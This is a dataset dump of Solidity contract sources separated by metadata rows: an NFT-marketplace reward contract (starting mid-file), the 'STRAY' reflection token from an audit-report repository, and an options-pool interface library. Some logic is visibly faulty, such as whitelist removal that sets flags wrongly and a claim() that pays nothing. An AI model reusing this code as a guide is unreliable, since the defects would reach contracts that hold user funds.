i++) { if(_nodenft_wl[user[i]] == 0) { cnt_nodenft_wl++; if(user[i] == _nodeNFT){ isNodeNFT = true; } } _nodenft_wl[user[i]] = step; } } else { for(uint i = 0; i < user.length; i++) { if(_nodenft_wl[user[i]] != 0) { cnt_nodenft_wl--; if(user[i] == _nodeNFT){ isNodeNFT = true; } } } } } function add_cheemsx_wl(address[] memory user, bool isAdd) public onlyOwner { if(isAdd) { for(uint i = 0; i < user.length; i++) { if(_cheemsx_wl[user[i]] == 0) { cnt_cheemsx_wl++; if(user[i] == _cheemsxAddress){ isCheemsxAddress = true; } } _cheemsx_wl[user[i]] = step; } } else { for(uint i = 0; i < user.length; i++) { if(_cheemsx_wl[user[i]] != 0) { cnt_cheemsx_wl--; if(user[i] == _cheemsxAddress){ isCheemsxAddress = false; } } } } } function add_topNftLister_wl(address[] memory user, bool isAdd) public onlyOwner { if(isAdd) { for(uint i = 0; i < user.length; i++) { if(_topNftLister_wl[user[i]] == 0) { cnt_topNftLister_wl++; _topNftLister.push(user[i]); } _topNftLister_wl[user[i]] = step; } } else { for(uint i = 0; i < user.length; i++) { if(_topNftLister_wl[user[i]] != 0) { cnt_topNftLister_wl--; for(uint j = 0; j < _topNftLister.length; j++) { if (user[i] == _topNftLister[j]) { _topNftLister[j] = _topNftLister[_topNftLister.length-1]; _topNftLister.pop(); break; } } } } } } function add_nftAngles_wl(address[] memory user, bool isAdd) public onlyOwner { if(isAdd) { for(uint i = 0; i < user.length; i++) { if(_nftAngles_wl[user[i]] == 0) { cnt_nftAngles_wl++; // if(user[i] == _cheemsxAddress){ // isCheemsxAddress = true; // } } _nftAngles_wl[user[i]] = step; } } else { for(uint i = 0; i < user.length; i++) { if(_nftAngles_wl[user[i]] != 0) { cnt_nftAngles_wl--; // if(user[i] == _cheemsxAddress){ // isCheemsxAddress = false; // } } } } } function add_nftInfluencer_wl(address[] memory user, bool isAdd) public onlyOwner { if(isAdd) { for(uint i = 0; i < user.length; i++) { if(_nftInfluencer_wl[user[i]] == 0) { cnt_nftInfluencer_wl++; // if(user[i] == _cheemsxAddress){ // isCheemsxAddress = true; // } } _nftInfluencer_wl[user[i]] = step; } } else { for(uint i = 0; i < user.length; i++) { if(_nftInfluencer_wl[user[i]] != 0) { cnt_nftInfluencer_wl--; // if(user[i] == _cheemsxAddress){ // isCheemsxAddress = false; // } } } } } function set_marketplaceGenesisNFT(address _contractAddress) public onlyOwner { _marketplaceGenesisNFT = _contractAddress; } function set_fNFT(address _contractAddress) public onlyOwner { _fNFT = _contractAddress; } function set_nodeNFT(address _contractAddress) public onlyOwner { _nodeNFT = _contractAddress; } function set_cheemsxAddress(address _contractAddress) public onlyOwner { _cheemsxAddress = _contractAddress; } function setsDistribute (bool flag) public onlyOwner { _isDistribute = flag; } function set_MarketWideDiscountedTransactionFees(address user, bool flag) public onlyOwner { _MarketWideDiscountedTransactionFees[user] = flag; } function set_MarketWideNoFEEforTransaction(address user, bool flag) public onlyOwner { _MarketWideNoFEEforTransaction[user] = flag; } function accumulateTransactionFee(address user, uint royaltyFee, uint amount) external returns(uint transactionFee, uint, uint income) { transactionFee = decisionTransactionFee(user) * amount / 100; currentVal += transactionFee; income = amount - transactionFee - amount * royaltyFee / 100; if (currentVal > _claimableThreshold) { step += currentVal / _claimableThreshold; currentVal = currentVal % _claimableThreshold; } return (transactionFee, amount * royaltyFee / 100, income); } function unCliamedReward(address user) external view returns(uint amount) { if(_marketplaceGenesisNFT_WL[user] < step && _marketplaceGenesisNFT_WL[user] > 0) { } if(isfNFT) { uint total = IFractionalNFT(_fNFT)._tokenIds(); uint balance = IFractionalNFT(_fNFT).balanceOf(user); uint step_cnt = _fnft_wl[user] != 0 ? step - _fnft_wl[user] : step - _fnft_wl[_fNFT]; if(total != 0 && step_cnt != 0) amount += _claimableThreshold / 7 * balance / total * step_cnt; } else { if(_fnft_wl[user] < step && _fnft_wl[user] > 0) { uint step_cnt = step - _fnft_wl[user]; amount += _claimableThreshold / 7 / cnt_fnft_wl * step_cnt; } } if(isNodeNFT) { uint balance = INodeNFT(_nodeNFT).balanceOf(user); uint step_cnt = _nodenft_wl[user] != 0 ? step - _nodenft_wl[user] : step - _nodenft_wl[_nodeNFT]; if(step_cnt != 0) amount += _claimableThreshold / 7 * balance / node_total_supply * step_cnt; } else { if(_nodenft_wl[user] < step && _nodenft_wl[user] > 0) { uint step_cnt = step - _nodenft_wl[user]; amount += _claimableThreshold / 7 / cnt_nodenft_wl * step_cnt; } } if(isCheemsxAddress) { uint balance = IERC20(_cheemsxAddress).balanceOf(user); uint total = IERC20(_cheemsxAddress).totalSupply(); uint step_cnt = _cheemsx_wl[user] != 0 ? step - _cheemsx_wl[user] : step - _cheemsx_wl[_cheemsxAddress]; if(step_cnt != 0) amount += _claimableThreshold / 7 * balance / total * step_cnt; } else { if(_cheemsx_wl[user] < step && _cheemsx_wl[user] > 0) { uint step_cnt = step - _cheemsx_wl[user]; amount += _claimableThreshold / 7 / cnt_cheemsx_wl * step_cnt; } } uint _bal; uint[] memory _stepList = new uint[](_topNftLister.length); uint[] memory _totalList = new uint[](_topNftLister.length); uint[] memory _balanceList = new uint[](_topNftLister.length); uint index = 0; for(uint i = 0 ; i < _topNftLister.length; i++) { if(isContract(_topNftLister[i])) { if(ITopNFTLister(_topNftLister[i]).balanceOf(user) > 0) { _stepList[index] = _topNftLister_wl[_topNftLister[i]] < _topNftLister_wl[user] ? _topNftLister_wl[user] : _topNftLister_wl[_topNftLister[i]]; _totalList[index] = ITopNFTLister(_topNftLister[i])._tokenIds(); _balanceList[index++] = ITopNFTLister(_topNftLister[i]).balanceOf(user); } } if(_topNftLister[i] == user) { _bal++; } } if(_topNftLister_wl[user] < step && _topNftLister_wl[user] > 0) { amount += _claimableThreshold / 7 / _topNftLister.length * _bal * (step - _topNftLister_wl[user]) ; } for(uint i = 0; i < index; i++) { amount += _claimableThreshold / 7 / _topNftLister.length * _bal * _balanceList[i] / _totalList[i] * (step - _stepList[i]); } if(_nftAngles_wl[user] < step && _nftAngles_wl[user] > 0) { uint step_cnt = step - _nftAngles_wl[user]; amount += _claimableThreshold / 7 / cnt_nftAngles_wl * step_cnt; } if(_nftInfluencer_wl[user] < step && _nftInfluencer_wl[user] > 0) { uint step_cnt = step - _nftInfluencer_wl[user]; amount += _claimableThreshold / 7 / cnt_nftInfluencer_wl * step_cnt; } return amount; } function claim(address user) external { require(_isDistribute, "REDEEM_AND_FEE: not config"); if(_marketplaceGenesisNFT_WL[user] < step && _marketplaceGenesisNFT_WL[user] > 0) { } if(isfNFT) { uint total = IFractionalNFT(_fNFT)._tokenIds(); uint balance = IFractionalNFT(_fNFT).balanceOf(user); uint step_cnt = _fnft_wl[user] != 0 ? step - _fnft_wl[user] : step - _fnft_wl[_fNFT]; uint amount = _claimableThreshold / 7 * balance / total * step_cnt; if(amount > 0) _fnft_wl[user] = step; } else { if(_fnft_wl[user] < step && _fnft_wl[user] > 0) { uint step_cnt = step - _fnft_wl[user]; uint amount = _claimableThreshold / 7 / cnt_fnft_wl * step_cnt; if(amount > 0) _fnft_wl[user] = step; } } if(isNodeNFT) { uint balance = INodeNFT(_nodeNFT).balanceOf(user); uint step_cnt = _nodenft_wl[user] != 0 ? step - _nodenft_wl[user] : step - _nodenft_wl[_nodeNFT]; uint amount = _claimableThreshold / 7 * balance / node_total_supply * step_cnt; if(amount > 0) _nodenft_wl[user] =step; } else { if(_nodenft_wl[user] < step && _nodenft_wl[user] > 0) { uint step_cnt = step - _nodenft_wl[user]; uint amount = _claimableThreshold / 7 / cnt_nodenft_wl * step_cnt; if(amount > 0) _nodenft_wl[user] =step; } } if(isCheemsxAddress) { uint balance = IERC20(_cheemsxAddress).balanceOf(user); uint total = IERC20(_cheemsxAddress).totalSupply(); uint step_cnt = _cheemsx_wl[user] != 0 ? step - _cheemsx_wl[user] : step - _cheemsx_wl[_cheemsxAddress]; uint amount = _claimableThreshold / 7 * balance / total * step_cnt; if(amount > 0) _cheemsx_wl[user] = step; } else { if(_cheemsx_wl[user] < step && _cheemsx_wl[user] > 0) { uint step_cnt = step - _cheemsx_wl[user]; uint amount = _claimableThreshold / 7 / cnt_cheemsx_wl * step_cnt; if(amount > 0) _cheemsx_wl[user] = step; } } uint _bal; uint[] memory _stepList = new uint[](_topNftLister.length); uint[] memory _totalList = new uint[](_topNftLister.length); uint[] memory _balanceList = new uint[](_topNftLister.length); uint index = 0; uint _amount; for(uint i = 0 ; i < _topNftLister.length; i++) { if(isContract(_topNftLister[i])) { if(ITopNFTLister(_topNftLister[i]).balanceOf(user) > 0) { _stepList[index] = _topNftLister_wl[_topNftLister[i]]; _totalList[index] = ITopNFTLister(_topNftLister[i])._tokenIds(); _balanceList[index++] = ITopNFTLister(_topNftLister[i]).balanceOf(user); } } if(_topNftLister[i] == user) { _bal++; } } if(_topNftLister_wl[user] < step && _topNftLister_wl[user] > 0) { _amount += _claimableThreshold / 7 / _topNftLister.length * _bal * (step - _topNftLister_wl[user]) ; } for(uint i = 0; i < index; i++) { _amount += _claimableThreshold / 7 / _topNftLister.length * _bal * _balanceList[i] / _totalList[i] * (step - _stepList[i]); } if(_amount > 0) _topNftLister_wl[user] = step; if(_nftAngles_wl[user] < step && _nftAngles_wl[user] > 0) { uint step_cnt = step - _nftAngles_wl[user]; uint amount = _claimableThreshold / 7 / cnt_nftAngles_wl * step_cnt; if(amount > 0) _nftAngles_wl[user] = step; } if(_nftInfluencer_wl[user] < step && _nftInfluencer_wl[user] > 0) { uint step_cnt = step - _nftInfluencer_wl[user]; uint amount = _claimableThreshold / 7 / cnt_nftInfluencer_wl * step_cnt; if(amount > 0) _nftInfluencer_wl[user] = step; } } function decisionTransactionFee(address user) private view returns(uint) { uint fee = regularNFTFee; if(_MarketWideDiscountedTransactionFees[user]) fee = fee / 2; if(_MarketWideNoFEEforTransaction[user]) fee = 0; return fee; } function isContract(address _addr) private view returns (bool){ uint32 size; assembly { size := extcodesize(_addr) } return (size > 0); } }
128,564
12,189
e82c9e47ffeb6f699c306d618e21b0afaf7dc714c83f7683eff4cf614c3196ff
12,870
.sol
Solidity
false
304734612
ImmuneBytes/Smart-Contract-Audit-Reports
b859d5aed3ebec6d16fe44a6ac9e843e0ec33551
Animal Token/Token-2.sol
3,647
12,818
pragma solidity ^0.8.2; import "@openzeppelin/contracts/utils/math/SafeMath.sol"; import "@openzeppelin/contracts/utils/Address.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; contract STRAY is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcluded; address[] private _excluded; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 10**9 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private _name = "Animal Token"; string private _symbol = "STRAY"; uint8 private _decimals = 9; address private _rewardDistributor; address private _marketing; address private _charity; address private _team; address private _burnAddress = 0x000000000000000000000000000000000000dEaD; uint256 private _monthlyDistribution = 16666666666666666; // for 6 months 10% of the total supply uint256 private _distributedMonths = 0; modifier onlyRewardDistributor() { require(_rewardDistributor == _msgSender(), "Caller is not the Reward Distributor"); _; } constructor (address rewardDistributor, address charity, address marketing, address team) public { _rOwned[_msgSender()] = _rTotal; setRewardDistributorAccount(rewardDistributor); setCharityAccount(charity); setMarketingAccount(marketing); setTeamAccount(team); excludeAccount(_rewardDistributor); excludeAccount(_burnAddress); _transfer(_msgSender(), _rewardDistributor, 16666666666666666 * 6); _transfer(_msgSender(), _burnAddress, 2 * 10**8 * 10**9); // say goodbye to 20% _transfer(_msgSender(), _charity, 2 * 10**8 * 10**9); _transfer(_msgSender(), _marketing, 1 * 10**8 * 10**9); emit Transfer(address(0), _msgSender(), _tTotal); emit Transfer(_msgSender(), _rewardDistributor, 16666666666666666 * 6); emit Transfer(_msgSender(), _burnAddress, 2 * 10**8 * 10**9); emit Transfer(_msgSender(), _charity, 2 * 10**8 * 10**9); emit Transfer(_msgSender(), _marketing, 1 * 10**8 * 10**9); } function distributeMonthlyReward() external onlyRewardDistributor { require(_distributedMonths < 6, "Can only distribute 6 times"); _distributedMonths++; _transfer(_msgSender(), address(this), _monthlyDistribution); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function isExcluded(address account) public view returns (bool) { return _isExcluded[account]; } function totalFees() public view returns (uint256) { return _tFeeTotal; } function setRewardDistributorAccount(address account) public onlyOwner { _rewardDistributor = account; } function setMarketingAccount(address account) public onlyOwner { _marketing = account; } function setCharityAccount(address account) public onlyOwner { _charity = account; } function setTeamAccount(address account) public onlyOwner { _team = account; } function reflect(uint256 tAmount) public { address sender = _msgSender(); require(!_isExcluded[sender], "Excluded addresses cannot call this function"); (uint256 rAmount,,,,) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rTotal = _rTotal.sub(rAmount); _tFeeTotal = _tFeeTotal.add(tAmount); } function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) { require(tAmount <= _tTotal, "Amount must be less than supply"); if (!deductTransferFee) { (uint256 rAmount,,,,) = _getValues(tAmount); return rAmount; } else { (,uint256 rTransferAmount,,,) = _getValues(tAmount); return rTransferAmount; } } function tokenFromReflection(uint256 rAmount) public view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function excludeAccount(address account) public onlyOwner() { require(!_isExcluded[account], "Account is already excluded"); if(_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcluded[account] = true; _excluded.push(account); } function includeAccount(address account) external onlyOwner() { require(_isExcluded[account], "Account is already excluded"); for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; _tOwned[account] = 0; _isExcluded[account] = false; _excluded.pop(); break; } } } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address sender, address recipient, uint256 amount) private { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount.div(1000).mul(995)); _transferFromExcluded(sender, _charity, amount.div(1000).mul(3)); // _charity _transferFromExcluded(sender, _team, amount.div(1000).mul(2)); // team } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount.div(1000).mul(995)); _transferStandard(sender, _charity, amount.div(1000).mul(3)); // _charity _transferStandard(sender, _team, amount.div(1000).mul(2)); // team } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount.div(1000).mul(995)); _transferFromExcluded(sender, _charity, amount.div(1000).mul(3)); // _charity _transferFromExcluded(sender, _team, amount.div(1000).mul(2)); // team } else { _transferStandard(sender, recipient, amount.div(1000).mul(995)); _transferStandard(sender, _charity, amount.div(1000).mul(3)); // _charity _transferStandard(sender, _team, amount.div(1000).mul(2)); // team } } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee) = _getTValues(tAmount); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee); } function _getTValues(uint256 tAmount) private view returns (uint256, uint256) { uint256 tFee = _msgSender() == _rewardDistributor ? tAmount : tAmount.div(200); uint256 tTransferAmount = tAmount.sub(tFee); return (tTransferAmount, tFee); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
338,029
12,190
8cc5143aaf9df4341e465aec350fbe31aba311a8219e50b3780fa8cbe6d274aa
26,820
.sol
Solidity
false
413505224
HysMagus/bsc-contract-sanctuary
3664d1747968ece64852a6ac82c550aff18dfcb5
0xDb41696A4DfF78fC604d54e8DFEb15a072CA5B4d/library.sol
3,668
15,139
// SPDX-License-Identifier: MIT pragma solidity ^0.6.12; interface IERC20 { function decimals() external view returns (uint8); function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; return msg.data; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success,) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function _callOptionalReturn(IERC20 token, bytes memory data) private { // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } library Strings { function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); uint256 index = digits - 1; temp = value; while (temp != 0) { buffer[index--] = byte(uint8(48 + temp % 10)); temp /= 10; } return string(buffer); } } interface AggregatorV3Interface { function decimals() external view returns (uint8); function description() external view returns (string memory); function version() external view returns (uint256); // getRoundData and latestRoundData should both raise "No data present" // if they do not have data to report, instead of returning unset values // which could be misinterpreted as actual reported values. function getRoundData(uint80 _roundId) external view returns (uint80 roundId, int256 answer, uint256 startedAt, uint256 updatedAt, uint80 answeredInRound); function latestRoundData() external view returns (uint80 roundId, int256 answer, uint256 startedAt, uint256 updatedAt, uint80 answeredInRound); } // CDF data contact interface abstract contract CDFDataInterface { mapping (uint => uint24[]) public CDF; uint16[] public Durations; uint public Amplifier; function numDurations() external view virtual returns (uint); } interface IOption is IERC20 { function resetOption(uint strikePrice_, uint newSupply) external; function name() external view returns (string memory); // previous rounds function getRoundTotalSupply(uint r) external view returns(uint256); function getRoundExpiryDate(uint r) external view returns(uint); function getRoundStrikePrice(uint r) external view returns(uint); function getRoundSettlePrice(uint r) external view returns(uint); function getRoundTotalPremiums(uint r) external view returns(uint); function getRoundBalanceOf(uint r, address account) external view returns (uint256); function getRoundAccPremiumShare(uint r) external view returns(uint); function setRoundAccPremiumShare(uint r, uint premiumShare) external; function getUnclaimedProfitsRound(address account) external view returns (uint); function setUnclaimedProfitsRound(uint r, address account) external; function getSettledRound(address account) external view returns (uint); function setSettledRound(uint r, address account) external; // current round function addPremium(uint256 amountUSDT) external; function totalPremiums() external view returns (uint); function expiryDate() external view returns (uint); function strikePrice() external view returns (uint); function getRound() external view returns (uint); function getDuration() external view returns (uint); function getPool() external view returns (address); } interface IPoolerToken is IERC20 { function mint(address account, uint256 amount) external; function burn(address account, uint256 amount) external; function getPool() external view returns (address); } interface IOptionPool { function name() external view returns (string memory); function owner() external view returns (address); function transferOwnership(address newOwner) external; function pausePooler() external; function unpausePooler() external; function pauseBuyer() external; function unpauseBuyer() external; function settlePooler(address account) external; function settleBuyer(address account) external; function update() external; function optionsLeft(IOption optionContract) external view returns (uint256 left, uint round); function buy(uint amount, IOption optionContract, uint round) external; function premiumCost(uint amount, IOption optionContract) external view returns(uint); function listOptions() external view returns (IOption []memory); function currentUtilizationRate() external view returns (uint256); function adjustSigma(uint16 newSigma) external; function NWA() external view returns (uint); function claimPremium() external; function claimOPA() external; function claimProfits() external; function checkOPA(address account) external view returns(uint256 opa); function checkPremium(address account) external view returns (uint256 premium); function checkProfits(address account) external view returns (uint256 profits); function setOPAToken(IERC20 OPAToken_) external; function setPoolManager(address poolManager) external; function setUtilizationRate(uint8 rate) external; function setMaxUtilizationRate(uint8 maxrate) external; function getNextUpdateTime() external view returns (uint); event Deposit(address indexed account, uint amount); event Withdraw(address indexed account, uint amount); event Buy(address indexed account, address indexed optionContract, uint round, uint amount, uint premiumCost); event SettleLog(address indexed optionContract, uint round); event SigmaUpdate(uint sigma, uint rate); event ProfitsClaim(address indexed account, uint amount); event ProfitsSettled(address indexed account, address indexed optionContract, uint round, uint profitsSettled); event PremiumClaim(address indexed account, uint amount); event PremiumSettled(address indexed account, uint accountCollateral, uint premiumSettled); event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); event SigmaSet(uint sigma); } interface IPandaFactory { function createOption(uint duration_, uint8 decimals_, IOptionPool poolContract) external returns (IOption option); function createPoolerToken(uint8 decimals_, IOptionPool poolContract) external returns (IPoolerToken poolerToken); function getCDF() external view returns(address); function getUSDTContract() external view returns(address); }
249,238
12,191
f53d9cad4595d00a722773920907cf37ff413a48f98e546254fb2f29de563ffc
26,038
.sol
Solidity
false
453466497
tintinweb/smart-contract-sanctuary-tron
44b9f519dbeb8c3346807180c57db5337cf8779b
contracts/mainnet/TT/TTHRx1LUDGZehVt4fTb7QMGeiELGhFUCTb_TRONMatrix.sol
6,488
24,726
